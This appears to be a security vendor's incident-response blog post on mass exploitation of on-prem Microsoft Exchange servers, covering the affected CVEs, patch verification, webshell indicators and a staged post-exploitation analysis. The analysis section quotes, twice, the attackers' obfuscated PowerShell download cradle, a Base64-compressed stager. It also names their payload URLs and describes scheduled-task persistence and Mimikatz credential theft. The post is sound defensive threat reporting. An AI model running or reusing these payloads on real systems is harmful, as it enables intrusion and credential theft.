Rapid Response: Mass Exploitation of On-Prem Exchange Servers

UPDATED 14 April:

Huntress is aware of the new Microsoft Exchange vulnerabilities disclosed in the Microsoft April Security Update. Our team has yet to detect exploits targeting these new vulnerabilities on any hosts running the Huntress agent but will continue to closely monitor for these threats. These vulnerabilities are all branded as "critical" in severity and again offer remote code execution to an attacker. Considering the strong focus on Exchange by a large number of threat actors, it is absolutely imperative that organizations patch as quickly as they can. We recommend you update to the latest security patch, monitor for new indicators of compromise and stay up-to-date on new information as it releases. We will continue to update this post with new findings. 

UPDATED 05 March @ 1347pm ET: Added instructions on verifying patch status and new IOCs.
UPDATED 05 March @ 1904pm ET: Added PowerShell syntax to verify patch status.
UPDATED 06 March @ 0004am ET: Added official Microsoft NSE script and new post-exploitation. 
UPDATED 06 March @ 0317am ET: Added analysis leading to "stage 6": Cobalt Strike & Mimikatz.

On March 1, our team was notified about undisclosed Microsoft Exchange vulnerabilities successfully exploiting on-prem servers. After the tip from one of our MSP partners, we confirmed the activity and Microsoft has since released an initial blog and emergency patches for the vulnerabilities. 

The purpose of this blog post is to spread the word that this is being actively exploited in the wild. At the moment, we’ve discovered 350+ webshells across roughly 3,000 vulnerable servers (majority have AV/EDR installed) and we expect this number to keep rising. 

UPDATE 05 March 1347pm ET: Currently we have visibility on roughly 3,000 Exchange servers. We see ~800 remain unpatched without the hotfix for an up-to-date CU version number.

We will continue to update this blog with our observations and IOCs to drive awareness. You can also check out our reddit thread to stay up to date.

Want more in-depth info on these vulnerabilities? Watch our on-demand webinar or download the slides to hear about our research, new IOCs and more. 

What’s Happening?

According to Microsoft’s initial blog, they detected multiple zero-day exploits being used to plunder on-premises versions of Microsoft Exchange Server in what they claim are “limited and targeted attacks.” They also highlight that threat actor "HAFNIUM primarily targets entities in the United States across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs."

This seems to be much a larger spread than just "limited and targeted attacks" as Microsoft has suggested. From our research, we've checked over 3,000 Exchange servers and see ~800 remain unpatched, identifying over 300 of our partners’ servers that have received webshell payloads.

These companies do not perfectly align with Microsoft's guidance as some personas are small hotels, an ice cream company, a kitchen appliance manufacture, multiple senior citizen communities and other "less than sexy" mid-market businesses. We’ve also witnessed many city and county government victims, healthcare providers, banks/financial institutions, and several residential electricity providers.

Among the vulnerable servers, we also found over 350 webshells - some targets may have more than one webshell, potentially indicating automated deployment or multiple uncoordinated actors. These endpoints do have antivirus or EDR solutions installed, but this has seemingly slipped past a majority of preventative security products. And with insight from the community, we’ve seen honeypots attacked - making it clear that threat actors are just scanning the internet looking for low-hanging fruit.

These attacks are grave due to the fact that every organization simply has to have email, and Microsoft Exchange is so widely used. These servers are typically publicly accessible on the open internet and they can be exploited remotely. These vulnerabilities can be leveraged to gain remote code execution and fully compromise the target. From there, the attackers have a foothold in the network and can expand their access and do much more damage.

What Should MSPs Do?

If you use on-prem Microsoft Exchange Servers, you might want to assume you’ve been hit. We recommend you not only patch immediately, but externally validate the patch and hunt for the presence of these webshells and other indicators of compromise (see the technical details below). Trusting the dashboard is simply not enough.

Thus far, it looks like all preventive products allowed the webshell to get dropped. Here's a small sampling of the files found and which AV/EDR/SOCaaS solutions were installed.

UPDATE 05 March 1347pm ET: External validation of the patch via a community Nmap script does not validate via the full version and is no longer advised. The version information included in Exchange server Registry Keys also does not seem to match the full version of the active installation if it is updated. The single source of truth we have determined is the exact version number for the running Exchange service. To validate your patch, please continue reading.

UPDATE 06 March 0004am ET: An official Nmap NSE has been provided by Microsoft that can identify is your systems are still vulnerable and validate patching. From our tests, this has provided reliable results. https://github.com/microsoft/CSS-Exchange/blob/main/Security/http-vuln-cve2021-26855.nse

To check your own patch status, we recommend you view the version number of the Microsoft.Exchange.RpcClientAccess.Service.exe binary present in the installation path of your Exchange server.  You can view this by right-clicking the file in Explorer, selecting Properties, and switching to the Details tab.

While the default installation path for Exchange is C:\Program Files\Microsoft\Exchange Server\V15\bin, if you have a custom installation path that you are unaware of, you can examine this registry key to find the current path for versions of Exchange 2013 or greater:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ExchangeServer\v15\Setup\MsiInstallPath

Exchange versions 2010 and below are end-of-life and should not be used in production.

Verify that the full version of this Microsoft.Exchange.RpcClientAccess.Service.exe file and its SHA256 hash is present in this chart below. This information comes from the official Microsoft Knowledge Base documentation per each version of Exchange and respective CU.

The full value of the version number must match.

Note: we do need to be forthcoming in that this approach is only checking the version of  one file, the RPC Client Access Service, that our analysis has indicated does in fact update on fully patched hosts. This does not truly say the patch was 100% applied correctly, but does indicate at a minimum partial installation. It is likely if this version is correct and the server is functional, the patch was applied properly.

This process is not automated by Huntress. The Huntress agent alone is not a vulnerability scanning tool and cannot determine 100% patch status.

We strongly encourage you to perform this check personally, and continue to monitor the health of your Exchange servers by utilities published by Microsoft or vetted scripts contributed by the threat intelligence community.

UPDATE 05 March @ 1904pm ET: If you consider yourself a command-line cowboy and would prefer to check the status of the patch via PowerShell, you can use this one-liner syntax. Simply copy-and-paste and slap it into your shell. Credit to Cyberdrain.com / Kelvin Tegelaar for the base syntax.

‍

Huntress Is Here to Help

UPDATE 05 March 1347pm ET: We are automatically detecting the presence of malicious webshells and active exploitation, and will send a critical report if/when those are discovered. These reports will not automatically close out and will remain after you have completed patching. To close the incident report please email support@huntress.com and we will manually close the report.

Huntress is staying engaged with the threat intelligence and notifying as many individuals as possible as quickly as possible.

Not only are we committed to educating you on how these vulnerabilities are being exploited, we’re also using our own platform to help us identify as many infected hosts as we can. 

We have had to get creative to help join the fight here. This is not something that “Huntress would normally find”, because these indicators of compromise are not persistence mechanisms. At the very start of this incident, practically all preventative security measures let this slip by -- however now that the news broke, many are adding this capability into their detections.

Our engineering team has worked overnight to create code to generate incident reports for all of the agents where we've detected infections. As of March 3rd, all of these incident reports have been sent to every organization that we were aware had an infected host. These reports also included Assisted Remediation playbooks that will remove the “China Chopper” ASPX webshells that we discovered.

Since this is an active exploit, we’ve added Monitored Files that will look for both existing and new webshells that are being dropped. 

We are communicating with partners in full transparency that this is additional support we offer to be the best stewards of security. We have visibility on thousands of servers and have uncovered multiple new indicators of compromise, and we understand the magnitude of this incident. Despite this initially being blanketed with the description of “limited and targeted” in scope, we cannot shrug this off -- and we cannot allow our partners to do so either.

Technical Details

The vulnerabilities affect on-prem Microsoft Exchange Server. Exchange Online is not affected.  

The versions affected are: 

• Microsoft Exchange Server 2019 
• Microsoft Exchange Server 2016  
• Microsoft Exchange Server 2013  
• Microsoft Exchange Server 2010
  
  

CVEs affiliated with this incident:

• CVE-2021-26855
• CVE-2021-26857
• CVE-2021-26858
• CVE-2021-27065
  

We are finding a significant number of webshells within the "C:\inetpub\wwwroot\aspnet_client\system_web" directory. Please keep in mind, this location can be redirected via the "PathWWWRoot" value in the "HKLM\SOFTWARE\Microsoft\InetStp" registry key. Webshell file names include:

UPDATE 05 March 1347pm ET: We offer 358 unique webshell filenames.

Some webshell filenames seem to be randomly generated, while some seem to be a static string. This list includes new webshell names that we have not yet seen included in Microsoft’s reporting.

The webshell that these threat actors are using is known as the "China Chopper" one-liner. These are often in either the ASPX or PHP web language, and will execute code passed in as an HTTP argument included in the request. The one-liner is slipped into a file and has a syntax like so:

UPDATE 05 March 1347pm ET: We offer 25 unique webshell HTTP request variables.

Note that the different naming conventions of these ASPX webshells indicates the use of a different request variable. From the files we have seen thus far, we offer this breakdown also available online.

Post-Exploitation Analysis

UPDATE 06 March 0004am ET: These are new details just discovered.

From a previously discovered webshell, we saw the execution of a command that was detected and stopped by Windows Defender. 

This PowerShell payload runs the Base64 encoded command (link defanged):

This domain is hosted on yet another Digital Ocean IP address, which we have reported.

The response from this domain is a PowerShell download cradle, which seems to pull down a stager. Downloading the contents from this URL, we see:

Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('7b0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJniGAqsgfP358Hz8ivte0dbG8+P7vtsim6Wfp1kXe4re7z75MT17/5M+8zst82m5/Oflp+pFuv35brNLddPu8qJs23f2Z9KRaXuZ1+6yuFtsnzWW6/e08m+V1+sXxyc808m6l7+bvVtlyhm/u/MZJW1//4t84+bHfbZktcur248/LapKVv+/L16e/9+nJx/gmf5efl9kFffm70c8mp89e5FcGk9fXTZsvxm/mNfVH+I+/WLf5u3Trd2vrdT5isKPv1fn59w0c6vOXTLN2Ov/Fv+Q3Tn7j5HebtQT587zdfpq1ebr9rKoXWZt+fH39xRezGSHwu62ydk5NPvrd8uXlI+pr9fv+vtPpdFxWFx/9xomlmqLY5k27zW/we3g9rxcF+ki3vvc6n67ror0ev6SXpsUqK8ffLZaz6qqxH3x/Q6OzWb5s6ZvvP3pECJ+s65r+3rpzZ3zWnC1fVWW+qYcn66Jspdn304+OZ4tiWRDyWVvVHxFNfre3+TVGSXP+2UefgAk++egXZpf4PbukX2lym6Ja0t9bINZ3F4VhhROalCalXu7t/f5f0mizlggi03JnrK8RgEnR9l8eeOvL18f1dF601GRd5+kn6Ue/EPTd++wj+l1Ijc9m1SIrlvxhB+4Vw51WixVxQ90o2Kfcnl9dN3kt0DCrX70+ffXi+ItT/urla/1C+OU3TorzLelzO/9F6cfPsrLJP77zi5UNzwiyzHW63V6v8vS8KMGieEmmnpv+mPL5j/1ub/J34IaPzk5/73TLY+QXeTv+bj45KQua1DtjmrJlWWUz4a+tj+dtu3p09+50thxP58S+9HOZt3dXv8e8uGB0iY8J+4/vfMS9PLkmTqRuvmfkg3odny6nFWSE+OerZUG/52MiGzfd+t3Q4g6/O8E3eFdlmpq/qZ6Q5H26/1qwEfDSupkSoaAxPro7JRkkGbpbr1MheXq3maZfnL346s1pendRpfv307vtErNOuNOvdQrUP/7oY6C+qq5oquZ5WRKhV+nkegW+2s5TQUhakj6CUvix121Wt9sv62qao9EzIvpLzEEznbdZ87YZE1Lp9nF9sV4QOZ8Tp5MAC6pMIKcCfuyX5DShP7tzVFZX/2+bo/8vTAz9/xea98BVS0byI8GSWsvMsRpvypxQg9Harsm4VIt0u1iS8KvN2dodj/d27nj2BtBE73e1kcH9Z1KxWympkQXBLItlTh+qIRQqp9s0ONIwhFXIDBgLqYAt9DMu8+UF9EPZpjt30m0YP2uNGJlquWpkdlKf2MtqlW5fpfNiRoo/oP3Un5/35FK8+ZGy6u7BwXj300/p/3tEn92769WMuGO8Wl78Hr+QORZWQVhW+iNsh2Z4uphFJxeDAznsbLkpflvQMH+3VTH7jZP/Bw==')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

This syntax loads more PowerShell code into memory, after decoding Base64 and decompressing it. The next layer includes this content:

This code looks to gather data on the specific target and uses that to request more additional code from external servers. It sets up persistence via scheduled tasks depending on the amount of privileges and integrity level, and looks to execute another obfuscated payload every 45 minutes. These payloads pull from http[:]//cdn.chatcdn.net/p?low210305  or http[:]//cdn.chatcdn.net/p?hig210305 based on high or medium integrity.

Interestingly enough, both of these payloads are the same.

Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('7b0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJniGAqsgfP358Hz8ivte0dbG8+P7vtsim6Wfp1kXe4re7z75MT17/5M+8zst82m5/Oflp+pFuv35brNLddPu8qJs23f2Z9KRaXuZ1+6yuFtsnzWW6/e08m+V1+sXxyc808m6l7+bvVtlyhm/u/MZJW1//4t84+bHfbZktcur248/LapKVv+/L16e/9+nJx/gmf5efl9kFffm70c8mp89e5FcGk9fXTZsvxm/mNfVH+I+/WLf5u3Trd2vrdT5isKPv1fn59w0c6vOXTLN2Ov/Fv+Q3Tn7j5HebtQT587zdfpq1ebr9rKoXWZt+fH39xRezGSHwu62ydk5NPvrd8uXlI+pr9fv+vtPpdFxWFx/9xomlmqLY5k27zW/we3g9rxcF+ki3vvc6n67ror0ev6SXpsUqK8ffLZaz6qqxH3x/Q6OzWb5s6ZvvP3pECJ+s65r+3rpzZ3zWnC1fVWW+qYcn66Jspdn304+OZ4tiWRDyWVvVHxFNfre3+TVGSXP+2UefgAk++egXZpf4PbukX2lym6Ja0t9bINZ3F4VhhROalCalXu7t/f5f0mizlggi03JnrK8RgEnR9l8eeOvL18f1dF601GRd5+kn6Ue/EPTd++wj+l1Ijc9m1SIrlvxhB+4Vw51WixVxQ90o2Kfcnl9dN3kt0DCrX70+ffXi+ItT/urla/1C+OU3TorzLelzO/9F6cfPsrLJP77zi5UNzwiyzHW63V6v8vS8KMGieEmmnpv+mPL5j/1ub/J34IaPzk5/73TLY+QXeTv+bj45KQua1DtjmrJlWWUz4a+tj+dtu3p09+50thxP58S+9HOZt3dXv8e8uGB0iY8J+4/vfMS9PLkmTqRuvmfkg3odny6nFWSE+OerZUG/52MiGzfd+t3Q4g6/O8E3eFdlmpq/qZ6Q5H26/1qwEfDSupkSoaAxPro7JRkkGbpbr1MheXq3maZfnL346s1pendRpfv307vtErNOuNOvdQrUP/7oY6C+qq5oquZ5WRKhV+nkegW+2s5TQUhakj6CUvix121Wt9sv62qao9EzIvpLzEEznbdZ87YZE1Lp9nF9sV4QOZ8Tp5MAC6pMIKcCfuyX5DShP7tzVFZX/2+bo/8vTAz9/xea98BVS0byI8GSWsvMsRpvypxQg9Harsm4VIt0u1iS8KvN2dodj/d27nj2BtBE73e1kcH9Z1KxWympkQXBLItlTh+qIRQqp9s0ONIwhFXIDBgLqYAt9DMu8+UF9EPZpjt30m0YP2uNGJlquWpkdlKf2MtqlW5fpfNiRoo/oP3Un5/35FK8+ZGy6u7BwXj300/p/3tEn92769WMuGO8Wl78Hr+QORZWQVhW+iNsh2Z4uphFJxeDAznsbLkpflvQMH+3VTH7jZP/Bw==')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

The final download we see calls out to http[:]//188.166.162.201/update.png, passing along the information gathered from this host. Requesting that URL with fake analysis data, we see a hefty 2 MB response which can yet again be decoded. For brevity we will not include that payload in this post but link to it here.

The decoded payload is a whopping 6 MB. For your own analysis, you can find that latest payload here.

As of 06 March 0100am ET, we see the presence of this Winnet persistent service on 5 compromised Exchange servers. We can expect this number to increase and will be monitoring closely... this "more traditional" persistence method is what Huntress is fine-tuned to catch. ;)

The traces of PowerShell we uncovered previously seem to be already known from previous research: https://vulners.com/carbonblack/CARBONBLACK:6730D6EB8DF875C002A93DBC78C80B9D

UPDATE 06 March 0216am ET: We have worked through another layer of the onion. That 6 MB PowerShell payload uses a humongous multiline format-string to reorder and rearrange the entirety of the file, and pipe it into IEX or Invoke-Expression. It uses the typical $env:COMSPEC indexing technique to "spell out" the IEX alias. Removing the IEX we can let it unravel itself and reveal the next stage.

What we are calling "stage five" (jeez) you can find here on this public Gist.

Some techniques are immediately noticeable. The use of sporadic ` backticks in a PowerShell command to "escape" characters helps separate strings. There is clear use of inline C# and compiling code with the Add-Type cmdlet, gaining access to Win32 API calls, and more.

UPDATE 0317am ET: Inside the "stage five" PowerShell code, we see two Base64 binaries. Extracting these out, we reach "stage six" and uncover DLL files. These are not .NET assemblies and we cannot easily open them up in dnSpy or ILSpy, and we're left to tools like GHIDRA/IDA/Hopper. 

There are breadcrumbs that indicate the use of SQLite, Mimikatz, dumping Google Chrome credentials and more. From the stage 5 code, we can see that it does load these DLLs and invoke portions to literally run "powershell_reflective_mimikatz".

We believe that these are both the 32-bit and 64-bit renditions of Mimikatz.

While we are still digging through these to find more definitive details, simply passing these into a scanner like VirusTotal or ReversingLabs makes these binaries light up like a Christmas tree.

*We will continue to update this post as more information flows in.